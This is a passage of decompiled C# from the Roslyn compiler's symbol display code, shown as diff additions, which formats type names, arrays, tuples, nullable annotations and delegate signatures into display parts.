AddKeyword(SyntaxKind.RefKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + AddKeyword(SyntaxKind.ReadOnlyKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + + private void AddReadOnlyIfNeeded() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + if (SymbolDisplayExtensions.IncludesOption(base.format.MemberOptions, (SymbolDisplayMemberOptions)128)) + { + AddKeyword(SyntaxKind.ReadOnlyKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + } + + private void AddParameterRefKind(RefKind refKind) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Expected I4, but got Unknown + switch (refKind - 1) + { + case 1: + AddKeyword(SyntaxKind.OutKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + break; + case 0: + AddKeyword(SyntaxKind.RefKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + break; + case 2: + AddKeyword(SyntaxKind.InKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + break; + case 3: + AddKeyword(SyntaxKind.RefKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + AddKeyword(SyntaxKind.ReadOnlyKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + break; + } + } + + public override void VisitArrayType(IArrayTypeSymbol symbol) + { + VisitArrayTypeWithoutNullability(symbol); + AddNullableAnnotations((ITypeSymbol)(object)symbol); + } + + private void VisitArrayTypeWithoutNullability(IArrayTypeSymbol symbol) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Invalid comparison between Unknown and I4 + if (TryAddAlias((INamespaceOrTypeSymbol)(object)symbol, base.builder)) + { + return; + } + if (SymbolDisplayExtensions.IncludesOption(base.format.CompilerInternalOptions, (SymbolDisplayCompilerInternalOptions)32)) + { + ((ISymbol)symbol.ElementType).Accept((SymbolVisitor)(object)this); + AddArrayRank(symbol); + return; + } + ITypeSymbol val = (ITypeSymbol)(object)symbol; + do + { + val = ((IArrayTypeSymbol)val).ElementType; + } + while ((int)((ISymbol)val).Kind == 1 && !ShouldAddNullableAnnotation(val)); + ((ISymbol)val).Accept((SymbolVisitor)(object)((AbstractSymbolDisplayVisitor)this).NotFirstVisitor); + IArrayTypeSymbol val2 = symbol; + while (val2 != null && (object)val2 != val) + { + if (!base.isFirstSymbolVisited) + { + AddCustomModifiersIfNeeded(val2.CustomModifiers, leadingSpace: true); + } + AddArrayRank(val2); + ITypeSymbol elementType = val2.ElementType; + val2 = (IArrayTypeSymbol)(object)((elementType is IArrayTypeSymbol) ? elementType : null); + } + } + + private void AddNullableAnnotations(ITypeSymbol type) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Invalid comparison between Unknown and I4 + if (ShouldAddNullableAnnotation(type)) + { + AddPunctuation(((int)type.NullableAnnotation == 2) ? SyntaxKind.QuestionToken : SyntaxKind.ExclamationToken); + } + } + + private bool ShouldAddNullableAnnotation(ITypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + NullableAnnotation nullableAnnotation = type.NullableAnnotation; + if ((int)nullableAnnotation != 1) + { + if ((int)nullableAnnotation == 2 && SymbolDisplayExtensions.IncludesOption(base.format.MiscellaneousOptions, (SymbolDisplayMiscellaneousOptions)64) && !ITypeSymbolHelpers.IsNullableType(type) && !type.IsValueType) + { + return true; + } + } + else if (SymbolDisplayExtensions.IncludesOption(base.format.MiscellaneousOptions, (SymbolDisplayMiscellaneousOptions)256) && !type.IsValueType) + { + Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.TypeSymbol obj = type as Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.TypeSymbol; + if (obj == null || !obj.UnderlyingTypeSymbol.IsTypeParameterDisallowingAnnotationInCSharp8()) + { + return true; + } + } + return false; + } + + private void AddArrayRank(IArrayTypeSymbol symbol) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + bool flag = SymbolDisplayExtensions.IncludesOption(base.format.MiscellaneousOptions, (SymbolDisplayMiscellaneousOptions)4); + AddPunctuation(SyntaxKind.OpenBracketToken); + if (symbol.Rank > 1) + { + if (flag) + { + AddPunctuation(SyntaxKind.AsteriskToken); + } + } + else if (!symbol.IsSZArray) + { + AddPunctuation(SyntaxKind.AsteriskToken); + } + for (int i = 0; i < symbol.Rank - 1; i++) + { + AddPunctuation(SyntaxKind.CommaToken); + if (flag) + { + AddPunctuation(SyntaxKind.AsteriskToken); + } + } + AddPunctuation(SyntaxKind.CloseBracketToken); + } + + public override void VisitPointerType(IPointerTypeSymbol symbol) + { + ((ISymbol)symbol.PointedAtType).Accept((SymbolVisitor)(object)((AbstractSymbolDisplayVisitor)this).NotFirstVisitor); + AddNullableAnnotations((ITypeSymbol)(object)symbol); + if (!base.isFirstSymbolVisited) + { + AddCustomModifiersIfNeeded(symbol.CustomModifiers, leadingSpace: true); + } + AddPunctuation(SyntaxKind.AsteriskToken); + } + + public override void VisitFunctionPointerType(IFunctionPointerTypeSymbol symbol) + { + ((SymbolVisitor)this).VisitMethod(symbol.Signature); + } + + public override void VisitTypeParameter(ITypeParameterSymbol symbol) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + if (base.isFirstSymbolVisited) + { + AddTypeParameterVarianceIfNeeded(symbol); + } + base.builder.Add(CreatePart((SymbolDisplayPartKind)26, (ISymbol)(object)symbol, ((ISymbol)symbol).Name)); + AddNullableAnnotations((ITypeSymbol)(object)symbol); + } + + public override void VisitDynamicType(IDynamicTypeSymbol symbol) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + base.builder.Add(CreatePart((SymbolDisplayPartKind)9, (ISymbol)(object)symbol, ((ISymbol)symbol).Name)); + AddNullableAnnotations((ITypeSymbol)(object)symbol); + } + + public override void VisitNamedType(INamedTypeSymbol symbol) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_00fc: Unknown result type (might be due to invalid IL or missing references) + //IL_0112: Unknown result type (might be due to invalid IL or missing references) + if ((base.format.CompilerInternalOptions & 0x400) != 0 && symbol is Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.Symbol { UnderlyingSymbol: Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol underlyingSymbol }) + { + string fileLocalTypeMetadataNamePrefix = underlyingSymbol.GetFileLocalTypeMetadataNamePrefix(); + if (fileLocalTypeMetadataNamePrefix != null) + { + base.builder.Add(CreatePart((SymbolDisplayPartKind)16, (ISymbol)(object)symbol, fileLocalTypeMetadataNamePrefix)); + } + } + VisitNamedTypeWithoutNullability(symbol); + AddNullableAnnotations((ITypeSymbol)(object)symbol); + if ((base.format.CompilerInternalOptions & 0x100) == 0 || !(symbol is Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.Symbol { UnderlyingSymbol: Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol underlyingSymbol2 })) + { + return; + } + FileIdentifier associatedFileIdentifier = underlyingSymbol2.AssociatedFileIdentifier; + if (associatedFileIdentifier != null) + { + string displayFilePath = associatedFileIdentifier.DisplayFilePath; + object obj; + if (displayFilePath == null || displayFilePath.Length == 0) + { + SyntaxTree sourceTree = underlyingSymbol2.GetFirstLocationOrNone().SourceTree; + obj = ((sourceTree != null) ? $"" : ""); + } + else + { + obj = displayFilePath; + } + string text = (string)obj; + base.builder.Add(CreatePart((SymbolDisplayPartKind)21, (ISymbol)(object)symbol, "@")); + base.builder.Add(CreatePart((SymbolDisplayPartKind)16, (ISymbol)(object)symbol, text)); + } + } + + private void VisitNamedTypeWithoutNullability(INamedTypeSymbol symbol) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Invalid comparison between Unknown and I4 + //IL_00ed: Unknown result type (might be due to invalid IL or missing references) + //IL_00f3: Invalid comparison between Unknown and I4 + //IL_019e: Unknown result type (might be due to invalid IL or missing references) + //IL_01a4: Invalid comparison between Unknown and I4 + //IL_0152: Unknown result type (might be due to invalid IL or missing references) + //IL_0159: Expected O, but got Unknown + //IL_01ac: Unknown result type (might be due to invalid IL or missing references) + //IL_01b2: Invalid comparison between Unknown and I4 + //IL_0163: Unknown result type (might be due to invalid IL or missing references) + //IL_0169: Invalid comparison between Unknown and I4 + //IL_01d9: Unknown result type (might be due to invalid IL or missing references) + if ((((AbstractSymbolDisplayVisitor)this).IsMinimizing && TryAddAlias((INamespaceOrTypeSymbol)(object)symbol, base.builder)) || ((SymbolDisplayExtensions.IncludesOption(base.format.MiscellaneousOptions, (SymbolDisplayMiscellaneousOptions)1) || (((ITypeSymbol)symbol).IsNativeIntegerType && !SymbolDisplayExtensions.IncludesOption(base.format.CompilerInternalOptions, (SymbolDisplayCompilerInternalOptions)64))) && AddSpecialTypeKeyword(symbol))) + { + return; + } + if (!SymbolDisplayExtensions.IncludesOption(base.format.MiscellaneousOptions, (SymbolDisplayMiscellaneousOptions)32) && ITypeSymbolHelpers.IsNullableType((ITypeSymbol)(object)symbol) && !((ISymbol)symbol).IsDefinition) + { + ITypeSymbol val = symbol.TypeArguments[0]; + if ((int)val.TypeKind != 9) + { + ((ISymbol)val).Accept((SymbolVisitor)(object)((AbstractSymbolDisplayVisitor)this).NotFirstVisitor); + AddCustomModifiersIfNeeded(symbol.GetTypeArgumentCustomModifiers(0), leadingSpace: true, trailingSpace: false); + AddPunctuation(SyntaxKind.QuestionToken); + return; + } + } + if (((AbstractSymbolDisplayVisitor)this).IsMinimizing || (((ITypeSymbol)symbol).IsTupleType && !ShouldDisplayAsValueTuple(symbol))) + { + MinimallyQualify(symbol); + return; + } + AddTypeKind(symbol); + if (CanShowDelegateSignature(symbol) && (int)base.format.DelegateStyle == 2) + { + IMethodSymbol delegateInvokeMethod = symbol.DelegateInvokeMethod; + if (delegateInvokeMethod.ReturnsByRef) + { + AddRefIfNeeded(); + } + else if (delegateInvokeMethod.ReturnsByRefReadonly) + { + AddRefReadonlyIfNeeded(); + } + if (delegateInvokeMethod.ReturnsVoid) + { + AddKeyword(SyntaxKind.VoidKeyword); + } + else + { + AddReturnType(symbol.DelegateInvokeMethod); + } + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + ISymbol containingSymbol = ((ISymbol)symbol).ContainingSymbol; + if (ShouldVisitNamespace(containingSymbol)) + { + INamespaceSymbol val2 = (INamespaceSymbol)containingSymbol; + if (!val2.IsGlobalNamespace || (int)((ITypeSymbol)symbol).TypeKind != 6) + { + ((ISymbol)val2).Accept((SymbolVisitor)(object)((AbstractSymbolDisplayVisitor)this).NotFirstVisitor); + AddPunctuation(val2.IsGlobalNamespace ? SyntaxKind.ColonColonToken : SyntaxKind.DotToken); + } + } + if (((int)base.format.TypeQualificationStyle == 1 || (int)base.format.TypeQualificationStyle == 2) && IncludeNamedType(((ISymbol)symbol).ContainingType)) + { + ((ISymbol)((ISymbol)symbol).ContainingType).Accept((SymbolVisitor)(object)((AbstractSymbolDisplayVisitor)this).NotFirstVisitor); + if (((Enum)base.format.CompilerInternalOptions).HasFlag((Enum)(object)(SymbolDisplayCompilerInternalOptions)128)) + { + AddPunctuation(SyntaxKind.PlusToken); + } + else + { + AddPunctuation(SyntaxKind.DotToken); + } + } + AddNameAndTypeArgumentsOrParameters(symbol); + } + + private bool ShouldDisplayAsValueTuple(INamedTypeSymbol symbol) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + if (SymbolDisplayExtensions.IncludesOption(base.format.MiscellaneousOptions, (SymbolDisplayMiscellaneousOptions)1024)) + { + return true; + } + return !CanUseTupleSyntax(symbol); + } + + private void AddNameAndTypeArgumentsOrParameters(INamedTypeSymbol symbol) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Invalid comparison between Unknown and I4 + //IL_00ab: Unknown result type (might be due to invalid IL or missing references) + //IL_00b0: Unknown result type (might be due to invalid IL or missing references) + //IL_00c1: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Unknown result type (might be due to invalid IL or missing references) + //IL_00a2: Invalid comparison between Unknown and I4 + //IL_0104: Unknown result type (might be due to invalid IL or missing references) + //IL_0107: Unknown result type (might be due to invalid IL or missing references) + //IL_00ce: Unknown result type (might be due to invalid IL or missing references) + //IL_00d0: Invalid comparison between Unknown and I4 + //IL_0117: Unknown result type (might be due to invalid IL or missing references) + //IL_00e1: Unknown result type (might be due to invalid IL or missing references) + //IL_00e8: Unknown result type (might be due to invalid IL or missing references) + //IL_016b: Unknown result type (might be due to invalid IL or missing references) + //IL_014a: Unknown result type (might be due to invalid IL or missing references) + //IL_020d: Unknown result type (might be due to invalid IL or missing references) + //IL_0234: Unknown result type (might be due to invalid IL or missing references) + if (((ITypeSymbol)symbol).IsAnonymousType && (int)((ITypeSymbol)symbol).TypeKind != 3) + { + AddAnonymousTypeName(symbol); + return; + } + if (((ITypeSymbol)symbol).IsTupleType && !ShouldDisplayAsValueTuple(symbol)) + { + AddTupleTypeName(symbol); + return; + } + string text = null; + Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol namedTypeSymbol = (symbol as Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.NamedTypeSymbol)?.UnderlyingNamedTypeSymbol; + if (namedTypeSymbol is NoPiaIllegalGenericInstantiationSymbol noPiaIllegalGenericInstantiationSymbol) + { + symbol = noPiaIllegalGenericInstantiationSymbol.UnderlyingSymbol.GetPublicSymbol(); + } + else if (namedTypeSymbol is NoPiaAmbiguousCanonicalTypeSymbol noPiaAmbiguousCanonicalTypeSymbol) + { + symbol = noPiaAmbiguousCanonicalTypeSymbol.FirstCandidate.GetPublicSymbol(); + } + else if (namedTypeSymbol is NoPiaMissingCanonicalTypeSymbol noPiaMissingCanonicalTypeSymbol) + { + text = noPiaMissingCanonicalTypeSymbol.FullTypeName; + } + if (text == null && ((ITypeSymbol)symbol).IsAnonymousType && (int)((ITypeSymbol)symbol).TypeKind == 3) + { + text = ""; + } + SymbolDisplayPartKind partKind = GetPartKind(symbol); + if (text == null) + { + text = ((ISymbol)symbol).Name; + } + if (SymbolDisplayExtensions.IncludesOption(base.format.MiscellaneousOptions, (SymbolDisplayMiscellaneousOptions)8) && (int)partKind == 5 && string.IsNullOrEmpty(text)) + { + base.builder.Add(CreatePart(partKind, (ISymbol)(object)symbol, "?")); + } + else + { + text = RemoveAttributeSuffixIfNecessary(symbol, text); + base.builder.Add(CreatePart(partKind, (ISymbol)(object)symbol, text)); + } + if (SymbolDisplayExtensions.IncludesOption(base.format.CompilerInternalOptions, (SymbolDisplayCompilerInternalOptions)2)) + { + if ((object)namedTypeSymbol != null && namedTypeSymbol.MangleName) + { + base.builder.Add(CreatePart((SymbolDisplayPartKind)33, null, MetadataHelpers.GetAritySuffix(symbol.Arity))); + } + } + else if (symbol.Arity > 0 && SymbolDisplayExtensions.IncludesOption(base.format.GenericsOptions, (SymbolDisplayGenericsOptions)1)) + { + if (namedTypeSymbol is UnsupportedMetadataTypeSymbol || namedTypeSymbol is MissingMetadataTypeSymbol || symbol.IsUnboundGenericType) + { + AddPunctuation(SyntaxKind.LessThanToken); + for (int i = 0; i < symbol.Arity - 1; i++) + { + AddPunctuation(SyntaxKind.CommaToken); + } + AddPunctuation(SyntaxKind.GreaterThanToken); + } + else + { + AddTypeArguments((ISymbol)(object)symbol, GetTypeArgumentsModifiers(namedTypeSymbol)); + AddDelegateParameters(symbol); + AddTypeParameterConstraints(symbol.TypeArguments); + } + } + else + { + AddDelegateParameters(symbol); + } + if (namedTypeSymbol?.OriginalDefinition is MissingMetadataTypeSymbol && SymbolDisplayExtensions.IncludesOption(base.format.CompilerInternalOptions, (SymbolDisplayCompilerInternalOptions)4)) + { + AddPunctuation(SyntaxKind.OpenBracketToken); + base.builder.Add(CreatePart((SymbolDisplayPartKind)34, (ISymbol)(object)symbol, "missing")); + AddPunctuation(SyntaxKind.CloseBracketToken); + } + } + + private ImmutableArray> GetTypeArgumentsModifiers(Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol underlyingTypeSymbol) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + if (SymbolDisplayExtensions.IncludesOption(base.format.CompilerInternalOptions, (SymbolDisplayCompilerInternalOptions)16) && (object)underlyingTypeSymbol != null) + { + return ImmutableArrayExtensions.SelectAsArray>(underlyingTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics, (Func>)((TypeWithAnnotations a) => a.CustomModifiers)); + } + return default(ImmutableArray>); + } + + private void AddDelegateParameters(INamedTypeSymbol symbol) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Invalid comparison between Unknown and I4 + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Invalid comparison between Unknown and I4 + if (CanShowDelegateSignature(symbol) && ((int)base.format.DelegateStyle == 1 || (int)base.format.DelegateStyle == 2)) + { + IMethodSymbol delegateInvokeMethod = symbol.DelegateInvokeMethod; + AddPunctuation(SyntaxKind.OpenParenToken); + AddParametersIfNeeded(hasThisParameter: false, delegateInvokeMethod.IsVararg, delegateInvokeMethod.Parameters); + AddPunctuation(SyntaxKind.CloseParenToken); + } + } + + private void AddAnonymousTypeName(INamedTypeSymbol symbol) + { + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + string text = string.Join(", ", ((INamespaceOrTypeSymbol)symbol).GetMembers().OfType().Select(CreateAnonymousTypeMember)); + if (text.Length == 0) + { + base.builder.Add(new SymbolDisplayPart((SymbolDisplayPartKind)2, (ISymbol)(object)symbol, "")); + return; + } + string text2 = ""; + base.builder.Add(new SymbolDisplayPart((SymbolDisplayPartKind)2, (ISymbol)(object)symbol, text2)); + } + + private bool CanUseTupleSyntax(INamedTypeSymbol tupleSymbol) + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Expected O, but got Unknown + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Invalid comparison between Unknown and I4 + if (containsModopt(tupleSymbol)) + { + return false; + } + INamedTypeSymbol tupleUnderlyingTypeOrSelf = GetTupleUnderlyingTypeOrSelf(tupleSymbol); + if (tupleUnderlyingTypeOrSelf.Arity <= 1) + { + return false; + } + while (tupleUnderlyingTypeOrSelf.Arity == 8) + { + tupleSymbol = (INamedTypeSymbol)tupleUnderlyingTypeOrSelf.TypeArguments[7]; + if ((int)((ITypeSymbol)tupleSymbol).TypeKind == 6 || HasNonDefaultTupleElements(tupleSymbol) || containsModopt(tupleSymbol)) + { + return false; + } + tupleUnderlyingTypeOrSelf = GetTupleUnderlyingTypeOrSelf(tupleSymbol); + } + return true; + bool containsModopt(INamedTypeSymbol symbol) + { + Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol underlyingTypeSymbol = (symbol as Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.NamedTypeSymbol)?.UnderlyingNamedTypeSymbol; + ImmutableArray> typeArgumentsModifiers = GetTypeArgumentsModifiers(underlyingTypeSymbol); + if (typeArgumentsModifiers.IsDefault) + { + return false; + } + return typeArgumentsModifiers.Any((ImmutableArray m) => !m.IsEmpty); + } + } + + private static INamedTypeSymbol GetTupleUnderlyingTypeOrSelf(INamedTypeSymbol type) + { + return type.TupleUnderlyingType ?? type; + } + + private static bool HasNonDefaultTupleElements(INamedTypeSymbol tupleSymbol) + { + return tupleSymbol.TupleElements.Any((IFieldSymbol e) => !ISymbolExtensions.IsDefaultTupleElement(e)); + } + + private void AddTupleTypeName(INamedTypeSymbol symbol) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_00ac: Unknown result type (might be due to invalid IL or missing references) + //IL_00b2: Invalid comparison between Unknown and I4 + //IL_00ba: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_00e1: Unknown result type (might be due to invalid IL or missing references) + if (SymbolDisplayExtensions.IncludesOption(base.format.MiscellaneousOptions, (SymbolDisplayMiscellaneousOptions)512)) + { + base.builder.Add(CreatePart((SymbolDisplayPartKind)23, (ISymbol)(object)symbol, "")); + return; + } + ImmutableArray tupleElements = symbol.TupleElements; + AddPunctuation(SyntaxKind.OpenParenToken); + for (int i = 0; i < tupleElements.Length; i++) + { + IFieldSymbol val = tupleElements[i]; + if (i != 0) + { + AddPunctuation(SyntaxKind.CommaToken); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + VisitFieldType(val); + if (val.IsExplicitlyNamedTupleElement) + { + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + base.builder.Add(CreatePart((SymbolDisplayPartKind)7, (ISymbol)(object)val, ((ISymbol)val).Name)); + } + } + AddPunctuation(SyntaxKind.CloseParenToken); + if ((int)((ITypeSymbol)symbol).TypeKind == 6 && SymbolDisplayExtensions.IncludesOption(base.format.CompilerInternalOptions, (SymbolDisplayCompilerInternalOptions)4)) + { + AddPunctuation(SyntaxKind.OpenBracketToken); + base.builder.Add(CreatePart((SymbolDisplayPartKind)34, (ISymbol)(object)symbol, "missing")); + AddPunctuation(SyntaxKind.CloseBracketToken); + } + } + + private string CreateAnonymousTypeMember(IPropertySymbol property) + { + return ((ISymbol)property.Type).ToDisplayString(base.format) + " " + ((ISymbol)property).Name; + } + + private bool CanShowDelegateSignature(INamedTypeSymbol symbol) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Invalid comparison between Unknown and I4 + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + if (base.isFirstSymbolVisited && (int)((ITypeSymbol)symbol).TypeKind == 3 && (int)base.format.DelegateStyle != 0) + { + return symbol.DelegateInvokeMethod != null; + } + return false; + } + + private static SymbolDisplayPartKind GetPartKind(INamedTypeSymbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Expected I4, but got Unknown + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + TypeKind typeKind = ((ITypeSymbol)symbol).TypeKind; + switch (typeKind - 2) + { + case 0: + if (((ITypeSymbol)symbol).IsRecord) + { + return (SymbolDisplayPartKind)31; + } + goto case 6; + case 8: + if (!((ITypeSymbol)symbol).IsRecord) + { + return (SymbolDisplayPartKind)23; + } + return (SymbolDisplayPartKind)32; + case 6: + case 10: + return (SymbolDisplayPartKind)2; + case 1: + return (SymbolDisplayPartKind)3; + case 3: + return (SymbolDisplayPartKind)4; + case 4: + return (SymbolDisplayPartKind)5; + case 5: + return (SymbolDisplayPartKind)8; + default: + throw ExceptionUtilities.UnexpectedValue((object)((ITypeSymbol)symbol).TypeKind); + } + } + + private bool AddSpecialTypeKeyword(INamedTypeSymbol symbol) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + string specialTypeName = GetSpecialTypeName(symbol); + if (specialTypeName == null) + { + return false; + } + base.builder.Add(CreatePart((SymbolDisplayPartKind)9, (ISymbol)(object)symbol, specialTypeName)); + return true; + } + + private static string GetSpecialTypeName(INamedTypeSymbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Expected I4, but got Unknown + SpecialType specialType = ((ITypeSymbol)symbol).SpecialType; + switch (specialType - 1) + { + case 5: + return "void"; + case 8: + return "sbyte"; + case 10: + return "short"; + case 12: + return "int"; + case 14: + return "long"; + case 20: + if (((ITypeSymbol)symbol).IsNativeIntegerType) + { + return "nint"; + } + break; + case 21: + if (((ITypeSymbol)symbol).IsNativeIntegerType) + { + return "nuint"; + } + break; + case 9: + return "byte"; + case 11: + return "ushort"; + case 13: + return "uint"; + case 15: + return "ulong"; + case 17: + return "float"; + case 18: + return "double"; + case 16: + return "decimal"; + case 7: + return "char"; + case 6: + return "bool"; + case 19: + return "string"; + case 0: + return "object"; + } + return null; + } + + private void AddTypeKind(INamedTypeSymbol symbol) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Invalid comparison between Unknown and I4 + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Expected I4, but got Unknown + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + if (!base.isFirstSymbolVisited || !SymbolDisplayExtensions.IncludesOption(base.format.KindOptions, (SymbolDisplayKindOptions)2)) + { + return; + } + if (((ITypeSymbol)symbol).IsAnonymousType && (int)((ITypeSymbol)symbol).TypeKind != 3) + { + base.builder.Add(new SymbolDisplayPart((SymbolDisplayPartKind)24, (ISymbol)null, "AnonymousType")); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + return; + } + if (((ITypeSymbol)symbol).IsTupleType && !ShouldDisplayAsValueTuple(symbol)) + { + base.builder.Add(new SymbolDisplayPart((SymbolDisplayPartKind)24, (ISymbol)null, "Tuple")); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + return; + } + TypeKind typeKind = ((ITypeSymbol)symbol).TypeKind; + switch (typeKind - 2) + { + case 0: + if (((ITypeSymbol)symbol).IsRecord) + { + AddKeyword(SyntaxKind.RecordKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + break; + } + goto case 6; + case 8: + if (((ITypeSymbol)symbol).IsRecord) + { + if (((ITypeSymbol)symbol).IsReadOnly) + { + AddKeyword(SyntaxKind.ReadOnlyKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + AddKeyword(SyntaxKind.RecordKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + AddKeyword(SyntaxKind.StructKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + break; + } + if (((ITypeSymbol)symbol).IsReadOnly) + { + AddKeyword(SyntaxKind.ReadOnlyKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + if (((ITypeSymbol)symbol).IsRefLikeType) + { + AddKeyword(SyntaxKind.RefKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + AddKeyword(SyntaxKind.StructKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + break; + case 6: + AddKeyword(SyntaxKind.ClassKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + break; + case 3: + AddKeyword(SyntaxKind.EnumKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + break; + case 1: + AddKeyword(SyntaxKind.DelegateKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + break; + case 5: + AddKeyword(SyntaxKind.InterfaceKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + break; + case 2: + case 4: + case 7: + break; + } + } + + private void AddTypeParameterVarianceIfNeeded(ITypeParameterSymbol symbol) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Invalid comparison between Unknown and I4 + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Invalid comparison between Unknown and I4 + if (!SymbolDisplayExtensions.IncludesOption(base.format.GenericsOptions, (SymbolDisplayGenericsOptions)4)) + { + return; + } + VarianceKind variance = symbol.Variance; + if ((int)variance != 1) + { + if ((int)variance == 2) + { + AddKeyword(SyntaxKind.InKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + } + else + { + AddKeyword(SyntaxKind.OutKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + } + + private void AddTypeArguments(ISymbol owner, ImmutableArray> modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Invalid comparison between Unknown and I4 + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Expected O, but got Unknown + ImmutableArray immutableArray = (((int)owner.Kind != 9) ? ((INamedTypeSymbol)owner).TypeArguments : 